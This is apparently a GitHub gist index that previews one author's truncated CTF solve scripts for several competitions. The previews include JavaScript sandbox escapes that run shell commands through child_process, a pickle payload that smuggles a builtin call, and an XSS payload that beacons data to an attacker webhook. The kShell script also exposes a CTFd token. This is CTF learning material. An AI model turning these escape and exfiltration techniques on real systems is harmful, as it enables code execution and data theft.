Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
lebr0nli / solve.py
Created March 29, 2025 08:22
DiceCTF 2025 Quals - glail (misc)
from pwn import *
JS = """
import('child_process').then(r=>console.log(r.execSync('cat flag.txt')+''))
"""
JS = "eval(decodeURIComponent('%s'))" % "".join(f"%{ord(c):02x}" for c in JS)
CODE = (
"""
@lebr0nli
lebr0nli / solve.py
Last active April 27, 2025 17:17
srdnlen CTF 2025 - Snowstorm (pwn)
#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T
binary = ELF("./snowstorm_patched")
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.39.so")
@lebr0nli
lebr0nli / solve.py
Last active September 12, 2024 02:28
CyberSpace CTF 2024 - repickle (jail)
import pickle
smuggled = \
pickle.GLOBAL + b"sandbox\ny\n" + \
pickle.GLOBAL + b"sandbox\n__builtins__\n" + \
pickle.BUILD + \
pickle.GLOBAL + b"sandbox\nbreakpoint\n" + \
pickle.EMPTY_TUPLE + \
pickle.REDUCE
@lebr0nli
lebr0nli / solve.py
Last active August 7, 2024 02:37
CrewCTF 2024 - Format muscle (pwn)
#!/usr/bin/env python3
from __future__ import annotations
from pwn import *
import ctypes
import typing as T
binary = ELF("./format-muscle")
# libc = ELF("./libc.so.6")
ld = ELF("./ld-musl-x86_64.so.1")
@lebr0nli
lebr0nli / solve.py
Last active July 3, 2024 13:25
ångstromCTF 2024 - wwwwwwwwaas (web)
import httpx
import base64
payload = """
const targetUrl = "https://wwwwwwwwaas.web.actf.co";
const logUrl = "https://<your webhook>";
function log(msg) {
navigator.sendBeacon(logUrl + '/log?f=' + msg);
}
@lebr0nli
lebr0nli / solve.py
Created February 25, 2024 15:20
bi0sCTF 2024 - Image Gallery 1 (web)
import httpx
import time
CHALL_URL = "https://ch1688140851.ch.eng.run"
def share() -> None:
with httpx.Client(base_url=CHALL_URL) as client:
try:
r = client.post("/share", json={"id": "x"}, timeout=1)
@lebr0nli
lebr0nli / pwn.c
Last active July 17, 2024 02:19
2023 edu-ctf - [HW3] Notepad Stage1 ~ Stage3 (pwn)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
@lebr0nli
lebr0nli / solve.py
Last active November 5, 2023 09:19
TSG CTF 2023 - bypy (pwn)
import base64
import dis
import marshal
import subprocess
from opcode import opmap
def f(): pass
@lebr0nli
lebr0nli / solve.js
Last active November 6, 2023 14:08
TSG CTF 2023 - Functionless (Misc)
let code = `
Function=this.constructor.constructor;
Array.prototype.toString=Object.prototype.toString;
Array.prototype[Symbol.toStringTag]="=1];console.log(process.mainModule.constructor._load('child_process').execSync('cat f*')+'');//";
Object.prototype.prepareStackTrace=Function;
e=new Error;
x={toString:e.stack}+'';
`.replaceAll('\n', '').replaceAll('(', '\\x28').replaceAll(')', '\\x29');
console.log(code);
if (process.env.DEBUG) {
@lebr0nli
lebr0nli / solve.py
Created October 7, 2023 08:25
Balsn CTF 2023 - kShell (Misc)
from pwn import *
import secrets
TOKEN = b"ctfd_7aecfde25ac2e3bb7174f6521d3e2e5be0451c0e061db725f66ddbb2cac3738e"
_, HOST, PORT = "nc kshell.balsnctf.com 7122".split()
with remote(HOST, PORT) as io:
io.sendline(TOKEN)
token = secrets.token_hex(16)